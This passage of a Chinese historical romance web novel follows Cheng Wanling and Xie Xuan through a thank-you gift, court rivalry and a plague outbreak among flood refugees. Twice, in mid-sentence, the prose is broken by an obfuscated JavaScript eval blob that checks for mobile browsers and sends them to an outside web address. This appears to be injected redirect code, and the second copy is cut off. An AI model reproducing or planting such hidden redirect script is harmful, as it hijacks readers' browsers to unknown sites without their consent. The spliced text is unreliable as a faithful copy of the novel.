“我真的没事了。” 晚苓以沐浴为由,赶走了程侍郎夫妇。 一出门,夫妇俩就无言握住了对方的手,相互扶持回了屋。 程夫人捏着手帕无声流泪:“苓儿的事,我瞧绝不是受了惊吓那么简单。” 程侍郎当然也在思量晚苓刚 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若有一天自己出了什么意外,走在妻子前头,真不知她们会不会受人欺负。 听了程侍郎这番真心话,江二爷大为撼动:“程老弟宽心,你我既然是知己,又有亲戚的缘分,何不将这缘分加深?” “我儿言之,不说才高八斗日后一定登阁拜相,但也是谦谦君子,长相周正,我看咱们不如结个儿女亲家,日后你家事就是我家事,绝无二话。” “这......” 程侍郎有几分心动:“小女顽劣,言之前途无限,出身公侯之府,只怕他......” 江二爷放下酒杯哈哈大笑:“你怕什么,言之和阿苓年岁相当,男才女貌,有何不可?且他俩一向要好,前日言之还说着那专做甜点的厨子到了,要请程家妹妹尝玉兰花糕,我看啊,他俩的心思,比你我都早,只不过害羞未曾挑明罢了。” 女儿爱吃甜点这事,除了家中人鲜有人知,江言之却能记在心上,投其所好。 程侍郎估摸着确实如江二爷说的那般,怪不得女儿爱往江家去,怕不是拿好姐妹当幌子。 “平垚兄所言,我夫妇二人必会善加考虑。” 两人喝了不少酒,出来时人醉醺醺的,撞上了人。 待江二爷看清来人,身子也不禁打了个冷颤。 “明昭?” “江二叔。” 谢铉和江砚白的交情源自父辈,襄王和江侯爷说得上是光着屁服长大的兄弟,和江二爷关系也不错,所以谢铉对江二爷也称呼一声二叔。 两人除了朝上的一点交情,见面的机会很少,加上谢铉今日不知为何,隐隐透露着冷漠的感觉,叫江二爷不太敢认。 “江二叔这是?”谢铉看了眼程侍郎,主动点了点头。 程侍郎自然是见过这个闻名已久的襄王府二公子的,但两人并无公事往来,所以没有故意攀谈。 “朋友之间,喝喝酒叙叙旧,明昭你既然有事要忙,那我就不多打扰了。” 江二爷是文人,偶一见谢铉周身的戾气,还是觉得远离为妙。 谢铉也没强留,目送他们离开酒馆。 五月一过,天气逐渐炎热,临安侯府的马车停在了降玉阁前。 车帘掀开,从中下来两个戴着面纱的妙龄女子。 黄衣的姑娘个性活泼,一走近便主动和老板打了招呼,随着书童的指引上了二楼,显然是常来的。 另一个穿着绿衣的稍温婉些,从背影可见身姿曼妙,仪态纤纤,捻着一方绣帕紧紧跟在好友身后。 晚苓头一回来这些市井之地,尤其是那么多陌生男子看着,十分不自在。 江灵萱是常客,拉着她就进门了。 这降玉阁是江家的产业,掌柜也是临安侯府的人,断然不敢有异心。 两年前江砚白一时兴起,签了几个书生墨客在降玉阁专职写文,没成想后头本本爆火。 降玉阁也因此声名大噪,成了京中最有名的书肆。 “哥哥,你瞧这是谁?” 江灵萱牵着晚苓的手缓缓进入雅间,一股墨香扑鼻而至。 10. 定情信物都送到手里了 江砚白正品鉴着一幅名家山水画,大红印章一盖,抬头便笑了:“这不是晚苓妹妹吗,听灵萱说你病了多日,如今看起来气色大好,想必已经无碍了吧?” 这内间清雅有致,一张丈余长的梨木桌居于正中,四张红木椅分布在两旁,小轩窗对着一扇油青色的屏风,挡去了摄人的光线。 角落里燃着淡雅的幽兰香,与书卷的墨香融为一体时,别有一番滋味。 除了江砚白,还有谢铉。 与外头不同,此刻的谢铉多了几分松懈疲乏,听见声音蓦然睁开眼睛。 暗灰色的官服因为燥热解开了最上头的扣子,一只手懒懒搭在身旁的茶几上,似乎正准备用茶,却被她惊扰了兴致。 晚苓朝两人福身,不好意思道:“多谢江大哥挂念,早就好了。” 江砚白高声吩咐随侍的书童为她们备上好茶,取几本新印的话本子过来。 江灵萱翻了翻,全是自己喜欢的,喜滋滋交给丫鬟收好:“多谢哥哥,你是天底下最好的哥哥。” 江砚白放下笔墨,拍了拍她的脑袋瓜:“我这个哥哥,也就只有这时候能听点好话了。” 再看看晚苓,拽着袖子,偶尔偷摸瞧了正在系扣的谢铉一眼,很快又移开了。 到底只有十六岁,又是个不会藏心事的直白脾性,一嗔一喜都显现在脸上。 谢铉则天性漠然,拒人于千里之外。 别说是被一个爱慕他的姑娘偷看,就是当朝之上被兵部尚书厉声弹劾,直言他兵行险招,完全不将皇命放在眼里,也只是冷眼带过,一句“将在外君令有所不受”打发。 皇帝是他叔父,自小宠溺他长大。 襄王多年在外打仗,谢铉和皇帝的关系比亲爹还好。 若不是他看惯了京城的尔虞我诈,和襄王在边境待了五年,兴许连襄王的脸都忘得干干净净了。 他傲慢却不狂妄,所谓不听皇命,不过就是有些命令,皇帝不能当着百官的面亲自下,只能偷偷传信给谢铉。 谢铉也十分配合,用自己的名声替皇帝打掩护,帮他塑造一个仁君的形象。 江砚白一边品茗,一边看着二人道: “降玉阁的雨前龙井一绝,这可是我私人珍藏,不是贵客还无缘得见呢,今日是你们来的巧了。” 江灵萱志不在茶,对着晚苓挤眉弄眼。 江砚白看破不说破,微抬眸看向谢铉,发现他已经准备走人。 “谢明昭,你这才来多久就要走?” “等会儿还有公务,不便久留,见谅了。” 谢铉回京之后,受皇帝重用,不仅把京畿九营的节制权给了他,连京郊浩山大营的统辖权也尽在其手。 这是历代太子才有的权利。 如此一来,太子党未免气愤上头,觉得皇帝此举有扶持谢铉取代太子之嫌。 加之今日皇帝为表军功,拟旨要将谢铉封王,他们终于坐不住了,何太傅亲自出来阻止。 所谓的理由,自然还是老生常谈,觉得谢铉年轻气盛,又有不受皇命的先例,实在不可优待太过。 更何况,他父亲襄王也是先帝驾崩后才封的王位,按照惯例,父子应有上下尊卑,不可超逾。 太子虽然体弱多病,可他毕竟还是太子,何家身为后戚,不想谢铉那么快掌权代替太子行事也是正常的。 江砚白自诩是他好友,有时也不太看得清他的心思。 譬如那日宁嘉县主说出要宴请程氏女时,谢铉明说自己不在乎,可他还是去了。 当他以为程氏女对谢铉而言是与众不同时,他又如此冷淡,冷淡到不发一言就要走人。 “二公子......”晚苓起身喊住了他。 谢铉的袍角刚掠过朱漆门槛,手指在门边蜷了蜷,未及转身,便听得软糯的声音道:“今日晚苓冒昧前来,是为了多谢二公子。” 谢铉眼眸微抬,却不看她:“当日不是谢过了吗?” “不同的,当日所谢,是谢二公子为我解围,还我清白。” “那今日呢?” “今日是谢二公子在公主府面前保我一命。”晚苓真诚道,“若无襄王府的脸面,就算大长公主知道我是清白的,恐怕也不会轻易放过。” 她知道谢铉讨厌别人用报恩裹挟他,所以不敢提什么回报的事,拿出揣在怀里的一个小方锦盒道:“小小谢礼,望二公子不要嫌弃。” 锦盒很小,谢铉甚至猜不出来会装什么才放得下。 “不用了......”他淡然道。 “二公子是觉得谢礼太轻了吗?我拿不出什么价值连城的宝物,但到底一片赤诚,还望二公子收下。” “我帮你,不是贪图你的谢礼,你安安静静,就是最大的感谢。” 晚苓拿着锦盒的手僵在半空,乌眸泛着一层薄雾,眼底的失落藏在清亮的瞳孔之下。 她想不明白,怎么谢铉又变成了马球场那个不近人情的模样。 上回他不是还安慰她来着? 晚苓唇瓣轻颤,正待说些什么,又听得谢铉道:“是不是收了谢礼,以后这事就过了?” “......” 晚苓红润的笑脸浮现出轻微的怔忪,唇角抿成一条直线。 外头忽然暗了下来。 烈日正巧进了云中,光线也没刚才那么明亮了。 谢铉侧身站在门口,周身晕染着一圈朦胧的光晕,高挺的鼻梁一半白得发亮,一半躲在阴处,线条冷硬如钢。 没听到回答,他再次问了一句:“我若是收下这礼,日后程姑娘可放下此事了?” 比起江砚白的“晚苓妹妹”,这句程姑娘可谓生疏至极。 但要说两人有什么亲近之处,又像是故意攀交情。 江砚白兄妹和她熟稔,是因为两家长辈交好。 对谢铉,是她一厢情愿。 谢铉难道真的那么讨厌她,连一份谢礼都要撇清关系。 晚苓不知如何回答。 谢铉连正眼都没施舍,两指勾住锦盒,丝毫不在意里面是什么,只不耐烦地甩下一句:“费心了。” 说完,衣袖擦过门框而去。 跨出房门的瞬间,穿堂风咻然而过,吹得晚苓红了眼。 江砚白倒纳罕:“明昭今日火气也太大了。” 他关了门,打着扇子安慰:“晚苓妹妹你别往心里去,谢明昭这个人,常常仗着自己身份趾高气扬,好些人都怕他厌他,要不是我心胸宽广,早和他绝交了。” 晚苓知他不想她尴尬,揉了揉眼睛道:“多谢江大哥,我没事。” 在接触谢铉之前,她就知道他身份高贵,必然有贵公子傲然慢待的脾气。 只是当初信州一遇,那翩然而来的温柔和恩情让她沉溺。 没准在傲气凌人之下,也有温情缱绻的一面呢。 且上回在寺中,他还主动宽慰她,又帮她解了围,应当对她没那么厌恶。 “是发生了什么事吗?”晚苓问。 “还不是朝堂上那群老匹夫又在说三道四。” 江砚白暂无官身,不过他身为临安侯府的世子,江侯爷偶尔也会和他说道几句朝政上的事。 当初太子病重不起,眼看继位无望,何家便打算拉拢谢铉,想将女儿嫁给他。 谢铉自是没有接受。 近来何家从民间寻了一位号称神医的大夫入宫,太子的病情微有起色。 皇帝自知儿子资质尚可,但身体不佳,寿数难长,若让他继承大业,没过两年,皇权怕要旁落他人。 这种事情,说到底是国君衰弱,无力掌控朝堂所致。 他不忍看大梁再经历一次六王之乱,哪怕亲子尚在,也做了准备托付谢铉。 但对于何氏一族来讲,太子登基和谢铉登基,其中差别大不同,更别提谢铉当众拒婚。 他尚未封王,就不给何氏一族任何脸面,来日大权在握,岂不是要将何家踩在脚底? 哪个世家大族没有点阴私,若谢铉羽翼丰满后以此为由发落,何家多年来的积累,可就毁之一旦。 “所以他们欺负谢铉了?”晚苓睁着朦胧的双眼问。 “......” 江砚白呆愣了一会儿,皱着眉头看她。 她怎么会用“欺负”这两个字? 谢铉和“被欺负”放在一起,他始终难以接受。 江砚白吞吞吐吐缓了好半天,才做好心理建设澄清道:“其实何氏一族......按照道理来讲,才是被谢铉欺负的那个。” “啊......” 谢铉也会欺负人吗? 她以为他只会无视。 “远的不说,就说皇后娘娘的嫡亲弟弟何钿,他可是当朝一品将军,就因为杀了五千俘虏,被谢铉从年头讽刺到年尾,要不是陛下勒令,谢铉还想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371139|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀了他。” 打仗的事晚苓不懂,既然是俘虏,当作奴隶让他们干活就行了,为何还要赶尽杀绝。 江砚白道:“晚苓妹妹,这你就孤陋寡闻了,杀俘虏一事古往今来都是惯常的,不过大多将领嗜杀,也只会杀十岁以上的男子,杀光也不会大肆宣扬。” “偏他何钿,连襁褓幼儿都不放过,传闻他在边境,还以人为食,谢铉知道了,就以比武为由,把他打成了残废......” 一个春秋鼎盛将军,忽然成了半身不遂的废物,对于本人和家族来说,都是莫大的羞辱。 何家折了一子都没敢对谢铉心生报复,还想着把女儿嫁给他结成姻亲,江砚白所言的欺负,谢铉担得不冤。 江砚白又补充道:“所以何家对谢铉,那是又忌又恨。” “太子既然有好转,他们便恨不得在陛下面前说尽谢铉的坏话,失了圣心,再无继位的可能。” 晚苓身处京城,每日只与婢女绣花赏画,和江灵萱偷偷看些话本,最出格的,就是对谢铉心存期待。 那些什么朝堂的明争暗斗,程侍郎连说都不会和她说。 她只知道谢铉是皇族,受皇帝器重,原来其中还有这么多不为人知的暗涌。 谢铉自襄王府南门而归,先去了襄王妃处请安。 他大哥谢钧十九被封世子,同年迎娶卫国公长女为妻,大嫂处事极有大家媳妇的风范,平日施惠上下,恩济百姓,襄王妃和老太妃都十分满意这个媳妇。 珠玉在前,襄王妃一度想过为谢铉也择卫氏女为妻。 不过上回老太妃生辰,卫国公夫人携幼女和侄女祝寿,谢铉连声都没出,襄王妃就知道他并不喜欢。 “二叔、二叔回来了......” 谢铉看起来不近人情,但对于家人倒和睦,五岁的小侄女谢瑶是府里的“小大王”,顽皮起来谁的面子也不给,却很喜欢这个经常给她买玩具的二叔。 谢铉不负她望,从袖中掏出一个鲁班锁:“阿瑶这两日都认了哪些字?” 卫国公府世代从文,卫氏的两个兄长更有“天降贤才”的美称,卫氏也是通晓诗书的才女,谢瑶两岁开始认字,三岁流着鼻涕还被母亲哄着抓毛笔。 小小的谢瑶过得苦不堪言。 “认了......认了......” 完了,半晌过去,她已经忘了。 襄王妃坐在堂上笑:“阿瑶过来祖母这儿!” “你二叔总是弄些男孩子的玩具给你,阿瑶日后还怎么当个娴静文雅的名门淑女呢?乖,把东西放下,祖母让巧儿姐姐给你做个棉花娃娃好不好?” 谢瑶转了转眼珠,抓着鲁班锁不肯放开寸步:“阿瑶不给,阿瑶不要棉花娃娃。” 襄王妃头疼,谢瑶被全家宠得没什么知书识礼的性子,偏她生得讨喜嘴甜,粉嘟嘟的小脸望着你时总不能狠下心教训。 谢瑶知道襄王妃觊觎她的新玩具后,双脚乱蹬,吵嚷着从襄王妃腿上下来,跑去揪谢铉的衣袖。 一来二去,还真被她摸出了什么好玩的:“二叔还有玩具不肯给我,二叔坏!” 谢铉只得拿出锦盒。 看起来也没什么稀奇,仅仅是一方绣了花的帕子和小小的玉穗子。 谢瑶爱得紧,眼神都亮了:“我要花花!二叔,阿瑶要花花!” 卫氏也凑近了瞧,露出打趣的笑意:“小叔别是得了哪位姑娘的芳心,定情信物都送到手里了。” 襄王妃眉尾一挑,好奇探起身。 谢铉拿着帕子,收也不是,扔也不是。 他没想过会是一方手帕,且还绣的是芍药花。 颜色妖艳,灼灼其华,一眼就被谢瑶看上了。 她把鲁班锁扔了,哇哇大叫要摸帕子上的花儿。 世子妃笑嘻嘻抱起谢瑶哄,道:“我看这芍药花针法细腻,层叠有致,花瓣妍华含春,可见绣花的人功夫出色,是用了心的。” 这种针法最为耗时,普通绣娘一月最多绣半寸,手帕上的两朵粉蕊芍药,连她都不一定能绣得出来。 谢铉顾自垂眸,略带薄茧的指尖无意划过那错落分明的粉色花瓣,确实与众不同。 只他一个大男人,用这种妖艳靡丽的帕子,没得让人耻笑娘们兮兮,是个花架子。 尤其是军中那些兄弟,要是知道了,估计能笑三天三夜。 不如用来哄小侄女。 11. 二公子,我会死吗? 夜阑人静,星沉月落,襄王府各处熄灯灭烛,人迹消停。 此时除了上房门外守夜巡逻的几个家丁外,院里廊下几乎无人走动。 执玉接了命令,脚步匆匆,低头从外院一路穿过几道月门拱桥,和路过灭灯的老婆子打了声招呼,来到襄王妃的院前。 二门外的婆子禀告之后,点头示意他默默进去。 襄王妃爱礼佛敬道,在南苑单独辟了间屋子供奉佛像,闲暇无事时,都要参拜之后才回房就寝。 月色苍茫,朗朗一片蔚蓝的夜空。 执玉在月下一边等着一边思索。 襄王妃参拜完毕,起身洗净双手,随身伺候的丫鬟巧儿为她系上一片光滑柔腻的缎面披风,扶着她缓缓步回主院。 内外尊卑有别,执玉不敢明目张胆观望,听到脚步声当即跪下,也不管来者是不是襄王妃。 “王妃安好,不知王妃寻小的来有何吩咐?” 襄王妃落座,偏头抚了抚鬓角,让伺候的几个丫鬟出去外间,吩咐把门敞开着。 她不想让其他人知晓自己的问话,也没必要为了一个小小随从特意避嫌,让底下人无端猜疑。 “近来二公子身边,听闻有一个姑娘走的十分近。” 执玉骤然失神,惊愕之后很快平静下来:“王妃是从何处得知?小的跟在二公子身边,公子每日只参与营内公务,除了赴临安侯府的大公子邀约外,不曾有私交。” “既然你不知道,那便是你的失职了。” 襄王妃十分笃定。 她在王府多年,治下水准也不是假的。 自己的儿子自己还不清楚吗?什么时候会因为瞧着好玩就买张手帕。 打开那锦盒之前,她敢保证他绝对不知道里面装的是什么。 且那帕子做工精细,料子丝滑如风,绝不可能是寻常店铺出售的,谢铉何时会用这种女气的帕子。 襄王妃板起脸:“我倒不一定非要知道那姑娘姓甚名谁,只需要知道她是否良籍,好做个筹备。” 他们家是除了皇帝外最为贵重的皇亲,只要谢铉不与那些青楼女子交往,想娶什么人,纳什么人,她都可以遂他心意。 眼下正处于关键时候,决不能失了分寸,让人握住把柄。 执玉松了口气,转了转眼珠,低头回:“王妃安心,那些妖妖艳艳的女子,别说靠近,就是远远看一回都没有,二公子旁的不说,洁身自好这事绝对比得上圣人。” “......” 襄王妃抿了抿唇,这是什么好事吗? 他大哥十五定亲,十九成婚,他到二十二了还不松口。 只要他肯,别说什么国舅府的女儿,公主府的孙女,哪怕是普通人家,她都毫无怨言。 罢了罢了,执玉敢这么回她话,估计谢铉早就吩咐过守口如瓶,追根究底也透露不出什么。 襄王妃眼底困倦,轻拂衣袖:“你下去吧,日后有事再来禀告。” 执玉应是。 巧儿端了安神茶进来放下,刚打算为她宽衣,便听得外面似乎有人匆匆往这儿来。 蘅芜院有两道大门,前门是小厮守着,二门是院内的三等丫鬟轮流守夜,襄王妃宽厚,特意让丫鬟睡在二门廊下,以免得了风寒。 守夜的丫鬟进入屋内需要二等或是贴身丫鬟通传,夜里大多数丫鬟都已歇息了,她才不得不进来:“王妃,世子妃的婢女宛儿抱着大姑娘来了。” 话音刚落,小肉身板就跌跌撞撞跑到襄王妃身边:“祖母,阿瑶要和祖母睡。” 谢瑶是襄王妃一手带大的,世子妃担忧发了热的小儿子,对女儿便没那么耐心,让人带她来寻襄王妃。 “祖母也挂念阿瑶,阿瑶先和绵儿姐姐去换身寝衣吧。” 谢瑶重重嗯了一声,小跑进去。 襄王妃问了两句,得知孙子还在发热,面上忧虑:“那日施粥,人多口杂,不该让濂儿一起去的。” 半月前泯州水灾,江潮怒涨,堤坝溃决,所累及的流域百姓流离失所,不少逃难的灾民都往上京来了。 天子脚下进出严格,守卫手持长戈把他们拦截在城外,严令不得入城惊扰城中百姓,那些灾民就在京郊扎下,靠乞讨和接济为生。 襄王妃闻及此事,便让人开设粥棚,施粥济民。 不少灾民在途中染了风寒、生了恶疾,上吐下泻,她知道后,还派府中得力的大夫带着药材赶往城外,为患病灾民诊脉施药。 巧儿想起了什么,为她宽衣的动作一停:“王妃,奴婢昨日听粥棚的李大婶说,那几个上吐下泻的最初症状就是发热,而且......” “而且什么?” “有人死了,死时浑身都是黑斑,可恐怖了。” 襄王妃手中的安神茶“哐当”一声溅落,整个人晃了晃,被巧儿扶住才勉强站稳。 “濂儿的大夫怎么说。” “大夫只说是幼儿常症,不打紧,喝上一疗程药便可痊愈。” “庸医!糊涂!”襄王妃骂道,“死人了怎么不告诉我!” 巧儿跪下:“王妃息怒,那些灾民缺衣少食,生生死死本就是常事,奴婢愚笨,未曾往小公子的病想去。” 襄王妃恼气皱眉:“也怪我,那日没换衣裳就抱了濂儿,大人吃点苦怎样都不打紧,孩子若是染上了,可怎么办才好。” 此时只有谢瑶从后头露出大半个脑袋,歪着脑袋急躁喊:“祖母,阿瑶困了,你怎么还不过来?” 襄王妃走到床边,摸了摸谢瑶的脸颊:“阿瑶乖,祖母还有事和你母亲商量,今夜阿瑶和绵儿姐姐安寝。” 王府内接二连三亮起了灯,世子妃院里一夜未歇,大夫为了治病冥思苦想,婢女婆子忧心不已。 谢铉知晓侄子可能染了瘟疫时,太医都已在东院守了半日。 这些天,城外陆续积了上千难民,人口混杂,纵使朝廷派兵安置,还是有不少闹事的。 今日又发现死了五个,难民们叫苦不堪,有人甚至想要趁乱冲进城门。 谢铉一来,他们看又是一个华服公子,便有数十个围上来哭诉乞讨,跪下求他接济。 这次的疫病虽没有以往蔓延那么快,但种种迹象表明,难民之中,确实有不少已经出现了症状。 城门口有几家富户和官宦人家施济,难民们都争先恐后围在粥棚边,推推挤挤。 没一会儿,小孩和瘦弱的老人被挤在外头,年轻力壮的反而在最前面。 七八个官兵过去维持秩序,那一伙青壮才不情不愿迫出一条道,让给了幼童和老人。 好不容易安静了会儿,人群又出现躁动,一个孱弱的老人端起热粥,刚要喝便开始全身抽搐,大口吐出两口血后,直愣愣倒下了。 旁边的人跳出三尺,纷纷议论。 谢铉带着几个官兵走近,挥手疏散开人群。 只见他用刀割下一块衣袍,隔着布料扯开那人的衣裳。 “是黑斑,和老胡头死之前一样的黑斑!” “完了完了,我还喝过他碗里的水,不会也要死了吧。”有人抠着喉咙作呕。 暗红色的血伴着还未完全咽下的粥水从老人嘴里不断涌出,寒颤之后,没几下就翻了白眼。 边上施粥的人吓坏了,混合着鼻音的呼吸声传到谢铉耳中,似有几分熟悉。 视线从地面挪到脚上,一双漂亮精致的珍珠绣鞋和裙摆血迹斑斑,鲜血和粥水混在一起,湮红了上面欲开未开的粉色花瓣。 谢铉凝眉,继续抬首望去。 “二公子......他是怎么了?” 女子握勺的手瑟瑟发抖,剩余的粥滴落黄土,留下一片湿润和稀疏的米粒。 明媚的脸上挂满了恐惧,干涩地咽着口水,脚步几欲逃离,怕裙子和鞋子湿得更多才没动弹。 江言之的声音从后头传来:“苓妹妹,你没事吧?” 晚苓看了眼自己,强忍不适:“我......我还好,只是有人晕倒了。” 或者说死了更为合适。 谢铉把白布盖在老人脸上。 “他他他......” “不是因为你的粥死的。”谢铉道。 一碗粥当然死不了人,况且这人拿到粥之后还没来得及咽下去呢。 她怕的是受牵连吗? 她怕的是一个活生生的人,居然在短短几瞬之内就死了,死在她面前,吐了一地血。 裙边黏糊糊的,袜子上也沾了不少粥水,珍珠更是染成了淡红色,小腿处湿哒哒一片,好像那些血迹已经穿透了衣裙,伸进她的肌肤里寸寸蚕食。 今日临安侯府施粥施药,江灵萱顾着好玩,把晚苓一起带了来。 没料到难民越来越多,江灵萱主动请缨,骑马回去驮米,主事的除了江言之,就只剩府里两个小管事和一个厨房的老伙头。 原本她只是在一旁看着,后来觉得这事挺简单的,人手不够,就帮着下人一起舀粥施济了。 谢铉抿了抿唇,抽出随身携带的弯月匕首:“程姑娘,得罪了!” “啊——” 晚苓压根没反应过来他是什么意思,只听到“撕拉”一声,小腿一凉,膝下的裙摆便没了半截。 谢铉扔开割下的裙边,看了眼她足下:“程姑娘,此人的血有毒,会传染,一旦沾上便可要命,为了你的安危,能否把鞋袜脱了?” 裙摆之下还有裤子,哪怕失了脸面,总没叫旁人看了去。 若是鞋袜都脱了,还是在大庭广众之下,让人知晓,程家的名声定会受损。 谢铉也是估量着她可能不会接受,才加大了害处。 比起丢性命,事急从权的处置再不妥,事后也可补救,不是么? 晚苓望了望江言之,下意识向他求援。 谢铉眸中闪过一抹未知的痕迹,不待任何人反应,解下自己身上的灰色披风。 晚苓领悟了他的意思。 她憋着泪,将披风在腰间缠绕一圈遮挡,站着便把染了血迹的绣花鞋脱了。 至于里面的素袜,光用脚怎么也扯不开,急得她快要哭出来,生怕解得慢了染上疫症。 谢铉移开眼睛,吩咐执玉:“你带人把有症状的难民安置在一处医治,药材可从城内调遣,其余者另外寻个地方妥善处置,切勿生乱,此事若延迟,瘟疫蔓延,恐怕祸患非小。” 听闻出现了会传染的瘟疫,难民们也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢铉抱着她走到在岸边:“程姑娘,你先把双足浸在水里冲洗,有淤血的话全部按出来,最好流多点脏血,等会儿我的属下会送药过来包扎。” 晚苓脸颊透红,瓮声瓮气点了点头,眼睛根本不敢和他对视。 她喘了口气,小心翼翼坐在河边,把小腿伸进水中。 适应冷水之后,原本白皙如瓷般秀气的肌肤不一会儿就被搓红了,荡漾在迢迢流水中,若隐若现。 脚底的血迹被冲走,只留下一道淡淡的划痕,有些疼,但还在可忍受的范围。 谢铉看她玩得起劲,嘴角勾起,无言望着远处的山峦。 他并不是故意回味,只是女子身量轻盈得超乎想象,软香萦绕鼻尖,与他平日接触的刀戈铁剑截然不同,下意识地怜惜几分,不敢用力。 水面传来拍打的声音,激起一圈圈涟漪,不断被流水冲刷时,像一尾悬在河里的鱼,线却在岸上。 谢铉收敛了飘忽的念头,面上依旧清冷正直,生硬将眼神转去别处。 他暗暗告诉自己,这不是偷看,只是河岸湿滑,若是这个娇弱不能自理的程姑娘又出现什么意外,比如脚底一虚落入水中,届时又要浪费时间救她。 所以哪怕侧了身,余光也还得照应着她才行。 半刻钟之后,晚苓忽然问:“二公子,我会死吗?” 心潮澎湃之后,晚苓不得不面对现实,那人的惨状又浮现在眼前。 谢铉做不出欺骗小姑娘的事,斟酌了两下回复:“概率很小,但不是没有可能。” 那人倒下时,她离了有一段距离,没有直接接触,血迹和呕吐物也被裙子鞋子隔绝,应当不大可能会传染。 晚苓顿觉无望,小声哭了出来:“我不想死!” “我还没给我父母养老送终,他们白发人送黑发人,一定会伤心死的。” “......” 谢铉静立一旁,紧抿的薄唇微微松动,大发善心道:“程侍郎隶属朝廷官员,朝廷自会尽心,至于你母亲,若是你因此早亡,她的后事我会帮衬一二。” “......” 他真的一点都不会安慰人呐。 江言之把粥棚的事处理好,便跑来找晚苓。 “苓妹妹你别怕,这病一点也不吓人,我已经派人去请大夫,不如先送你回家?” 晚苓对江言之很信任,不住地点头,把谢铉说的包扎一事抛诸脑后。 她想回家,想程侍郎和程夫人,如果一定要死,她要死在程家,死在父母身边。 埋葬的地点也一定要山清水秀,冬日里见太阳,夏日里阴凉,栽种铃兰和芍药,陪葬品要求不高,三五箱首饰衣裳就好,料子一定得柔顺防潮,她怕蛇虫鼠蚁啃...... 程侍郎和程夫人要生的话,只能生儿子,不能生一个女儿替代她的位置。 晚苓忧戚委屈:“表哥,我心好慌,头晕眼花是不是要死了?” 江言之决绝摇头:“胡说,上回那蓬头方士不是替你算过,你这辈子一定婚姻顺遂,长命百岁!” 在江言之的安慰下,晚苓一瘸一拐踏上马车,只是觉得自己忽略了什么。 看到留在原地的谢铉时,她才恍然:“二公子,那我们先行一步了。” 谢铉目光平静,淡淡颔首:“既然你家表兄接你回去,那便好好看看大夫,多用些解毒的药。” 江言之抱拳谢他相助之情,没叫车夫,自己扬鞭驾车往城门口去了。 12. 愿谢铉早日喜欢上我 马车逐渐远去。 卷起的尘土归于地上,仿佛一切没有发生过。 谢铉摩挲着手指,看着不远处留下的半片裙摆。 除了血迹,还有一朵盛开的重瓣粉彩芍药,比手帕上的大许多,开得艳丽极了。 今上用人讲究不拘一格,无论是世家还是布衣,只要得皇帝喜欢便能委以重任,程侍郎现在虽然手握实权,但说到底不过就是皇帝打压世家屯田笼财的一枚棋子。 一旦没用了,被放逐,被暗杀,都是无关紧要的。 所以真正的权贵人家,并不会考虑和程家结为姻亲。 临安侯府和程家门第有差,但江言之不会袭爵,听起来也相近。 况且按江二爷的话说,亲上加亲,儿女熟识,是一桩极好的姻缘。 既然如此,他何必……多此一举。 谢铉敛了敛心神。 捡起匕首用河水淌干净,擦干后重新别在腰上。 光是京郊就已盘桓了千数的难民,泯州这一路上,不知零零散散还会有多少,而这些人又有多少携带病症,都是未知数。 他手底下能调动的京畿卫只有八百,其余人守护京城,护卫皇城的安危,不可随意调用。 谢铉写了密信告知皇帝,将人马分为两队,一队留在原地将有症状的人看管起来,一队前去调查路上还有多少难民离散。 瘟疫之事尚未明了,为保民心安稳,不能大肆宣扬,他几经周折,在半路上拿到皇帝的手令,暗中吩咐各地县令,妥善处置可疑病症者。 有知道实情的县令枉顾百姓性命,在其管辖的境内,发现有症状的百姓就偷偷抓起来处死烧死。 为了解决这些乱七八糟的事,又是好几个日夜未眠。 等一切安稳,回到襄王府,却发现内外下人均是死气沉沉、一脸丧气。 “二公子,濂哥儿他......他快不行了!”刘管事出来道。 幼儿早夭不是罕事,谢铉原本还有一个妹妹,也是两岁的时候染病殁了。 他闭了闭通红的眼眸,一边让人去城外请善于治疗瘟疫的大夫前来,一边快步往东院赶。 谢濂躺在床上,浑身发青,奄奄一息,嘴都张不开了,连水也没能喂下去,更别提药。 谢铉探了探他的鼻息,提议道:“大嫂,我在边境时,见到有人曾试过用羊肠和芦苇杆伸进胃中喂药,不如以此一试可好?” 世子妃哭得昏天暗地,听闻这个办法,哪怕没见过,也只能死马当作活马医,让刘管事立刻去取东西来。 谢铉再逗留了会儿,大夫便来了。 这些时日,他们治疗难民的疫症小有成效,很快拟了新方子。 一夜过去,朝阳初升。 谢铉让执玉去程家打听。 执玉道,程姑娘没被感染,只是受了些许惊吓。 惊吓...... 连他自己都没注意到,等来这个消息时,心中那块大石头落地的感觉有多轻松。 困倦席卷而来,几乎是一沾床就睡着了。 不知是不是日有所思夜有所梦,他竟然回到城外那天。 细碎风声中,少女膝盖之下的裙摆应声而断,裁得干脆利落。 膝下那截小腿骤然显露,肌肤莹白如上好的羊脂玉,脚踝处沾了点鲜血,衬得愈发妖冶。 和现实不同,他没有给她披风遮掩避讳,反而十分自然地抱起她。 动作自然得仿佛演练过千百遍。 手臂微收便将她托住,纤细的腰肢只堪一握,软若无骨,稍稍用力便能折断,脆弱得很。 他浑不在意她的羞怯,下颌绷得笔直,抱着她一步步朝水边走去。 流水冰冷,少女眼尾泛起红意,眸含清泪,瑟瑟往他怀里钻。 他低头时,能看见她垂着的眼睫上沾着泪珠,像沾了露水的蝶翼,轻轻颤动着,连带着肩膀都在微微发抖。 水波漫延过胸前,便是无人之境般自由。 那一双玉足,不再是掩藏在水里的迷雾,而是被他真实触碰,替她洗净污秽,掌心贴着足背,指尖揉捏,寸步不让。 水面被搅得波澜不断,圈圈涟漪向外扩散,映着光碎成一片金箔,而他在水下狎.昵玩弄,任她如何恳求也不停息。 谢铉一边惊讶于自己的无耻,一边又愈发沉湎其中,难以抉择之际,在将要冲顶的那一刻猛然惊醒。 天色灰暗,屋内无灯,这一睡竟然睡到了夜里。 